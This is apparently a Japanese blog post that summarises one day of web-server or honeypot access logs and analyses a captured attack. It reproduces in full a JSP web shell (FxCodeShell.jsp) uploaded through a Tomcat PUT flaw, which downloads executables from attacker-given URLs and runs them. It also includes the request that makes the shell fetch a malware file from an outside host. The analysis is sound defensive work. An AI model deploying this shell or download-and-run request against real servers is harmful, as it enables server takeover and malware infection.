2019-04-16のアクセス数は73件でした。
■送信元IPアドレスの数は 51件です。
■メソッドの一覧と件数は以下です。
method | 総数 |
GET | 62 |
POST | 4 |
PROPFIND | 1 |
PUT | 6 |
合計 結果 | 73 |
■アクセスパス一覧と件数は以下です。
path | method | 総数 |
/ | GET | 42 |
/ | PROPFIND | 1 |
/admin/connection/ | GET | 1 |
/favicon.ico | GET | 1 |
/FxCodeShell.jsp::$DATA | PUT | 2 |
/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address= http://fid.hognoob.se/download.exe | GET | 2 |
/FxCodeShell.jsp/ | PUT | 2 |
/FxCodeShell.jsp%20 | PUT | 2 |
/manager/html | GET | 1 |
/MyAdmin/scripts/setup.php | GET | 2 |
/nmaplowercheck1555347881 | GET | 1 |
/NmapUpperCheck1555347881 | GET | 1 |
/phpMyAdmin/scripts/setup.php | GET | 2 |
/pma/scripts/setup.php | GET | 1 |
/sdk | POST | 1 |
/tmUnblock.cgi | POST | 3 |
/w00tw00t.at.blackhats.romanian.anti-sec:) | GET | 1 |
/webdav/ | GET | 1 |
http://110.249.212.46/testget?q=23333&port=80 | GET | 6 |
気になるlog
-=-=39〜42件目のlog=-=-
①[2019-04-16 12:48:36+0900] 120.196.248.135 hoge:8080 "PUT /FxCodeShell.jsp%20 HTTP/1.1" 201 1005 ②[2019-04-16 12:48:36+0900] 120.196.248.135 hoge:8080 "PUT /FxCodeShell.jsp::$DATA HTTP/1.1" 201 1005 ③[2019-04-16 12:48:37+0900] 120.196.248.135 hoge:8080 "PUT /FxCodeShell.jsp/ HTTP/1.1" 201 1005 PUT /FxCodeShell.jsp%20 HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; Charset=UTF-8 Accept: */* Accept-Language: zh-cn Referer: http://hoge:8080/FxCodeShell.jsp%20 User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Content-Length: 3363 Host: hoge:8080 <%@ page import="java.util.Arrays"%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%> <% String view = request.getParameter("view"); if (view == null || view.equals("")) { String localOS = System.getProperty("os.name"); List<String> osList; String tomcatOS = "0"; String DEFAULT = "0"; String WINDOWS = "1"; String LINUX = "2"; osList = new ArrayList<String>(); osList.add("Linux"); osList.add("Windows"); for (String os : osList) { if (localOS.contains(os)) { if (os.equals("Linux")) { tomcatOS = LINUX; } else if (os.equals("Windows")) { tomcatOS = WINDOWS; } else { tomcatOS = DEFAULT; } break; } } out.write(tomcatOS + "<br/>"); response.setHeader("OS", tomcatOS); return; } %> <% String password = "FxxkMyLie1836710Aa"; if (!view.equals(password)) { return; } int systemCode = Integer.parseInt(request.getParameter("os")); String address = request.getParameter("address"); String fileName = null; String path = null; String winPath = "C:/Windows/Temp/"; String linuxPath = "/var/tmp/"; switch (systemCode) { case 1: path = winPath; break; default: path = linuxPath; break; } String[] urls = address.split(","); InputStream fileInputSteam = null; FileOutputStream fileOutputStream = null; for (int i = 0; i <= urls.length - 1; i++) { try { String[] file = urls[i].split("/"); fileName = file[file.length - 1]; out.write("Download:" + urls[i] + "<br>"); out.write("<br>filename:" + fileName + "<br>"); out.write("<br>Size:" + urls.length + "<br>"); out.write( "-------------------------------------------------------------------------------------------------------" + "<br><br>"); File isfile = new File(path + fileName); if (isfile.isFile()) { try { Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path + fileName); } else { String chmod = "chmod 777 " + path + fileName; exec.exec(chmod); exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &"); } } catch (Exception e1) { e1.printStackTrace(); } continue; } URL downloadUrl = new URL(urls[i]); HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection(); conn.setConnectTimeout(60000 * 3); conn.setReadTimeout(60000 * 3); fileInputSteam = conn.getInputStream(); fileOutputStream = new FileOutputStream(path + fileName); int length = -1; byte[] b = new byte[409600]; while ((length = fileInputSteam.read(b)) != -1) { fileOutputStream.write(b, 0, length); fileOutputStream.flush(); } if (conn != null) { conn.disconnect(); } if (fileInputSteam != null) { fileInputSteam.close(); } if (fileOutputStream != null) { fileOutputStream.close(); } Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path + fileName); } else { String chmod = "chmod 777 " + path + fileName; exec.exec(chmod); exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &"); } } catch (Exception e2) { e2.printStackTrace(); } } %>
④[2019-04-16 12:48:37+0900] 120.196.248.135 hoge:8080 "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 200 1020 GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http[:]//fid[.]hognoob.se/download.exe HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: http://hoge:8080/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: hoge:8080
サーブレットかぁ。JAVAはHello worldすら書いた事ないんだけどなぁ。
難読化されてなくてよかった!でもサーバ乗っ取りたい攻撃者から見れば、サーブレットは当然のスキルか!いつか勉強しなければ・・
で、①〜③はpathは違えど、中身は同じなので、上記のような書き方をしました。
①〜③はtomcatに任意のファイルアップロードができる脆弱性をついています。
詳しくはこちらをどうぞ。
④は設置されたサーブレットを突いてマルウェアをダウンロードさせています。
挙動は予測できてるけど、せっかくなので、Javaの勉強がてらcodeを見てみます。
String view = request.getParameter<strong>(</strong>"view"<strong>)</strong>;
で、viewのリクエストパラメータを取得する文字列”view”を定義。④で使われている。
次はOSlistを定義、1だったらwindows,2だったらlinuxという具合に。④ではwindowsをしている。
passwordを定義し、passwordが一緒なら動作します。パラメータ値のOSとaddressを読み取ります。
String password = "FxxkMyLie1836710Aa"; if (!view.equals(password)) { return; } int systemCode = Integer.parseInt(request.getParameter("os")); String address = request.getParameter("address"); String fileName = null; String path = null; String winPath = "C:/Windows/Temp/"; String linuxPath = "/var/tmp/"; switch (systemCode) { case 1: path = winPath; break; default: path = linuxPath; break; }
htmlのcodeを作成してるっぽい。
String[] urls = address.split(","); InputStream fileInputSteam = null; FileOutputStream fileOutputStream = null; for (int i = 0; i <= urls.length - 1; i++) { try { String[] file = urls[i].split("/"); fileName = file[file.length - 1]; out.write("Download:" + urls[i] + "<br>"); out.write("<br>filename:" + fileName + "<br>"); out.write("<br>Size:" + urls.length + "<br>"); out.write( "-------------------------------------------------------------------------------------------------------" + "<br><br>");
攻撃者が攻撃が成功したか、目視しやすいように作っているのかな?
BOTでばらまいてるし、どのマルウェアをぶっこんだかを判るようにする必要があるのかな?
次は移動。
File isfile = new File(path + fileName); if (isfile.isFile()) { try { Runtime exec = Runtime.getRuntime(); if (systemCode == 1) { exec.exec(path + fileName); } else { String chmod = "chmod 777 " + path + fileName; exec.exec(chmod); exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &"); } } catch (Exception e1) { e1.printStackTrace(); } continue; }
linuxの場合はchmodしている。権限足りない時のためにtryで囲んでいるんだろう。
nohupは端末を閉じてもログアウトしても処理を続ける
で、残りはダウンロードして実行。
コードを読むと、感染した後の対処が見えてきますね。
どっちかというと落とされたexeの解析の方が大事か。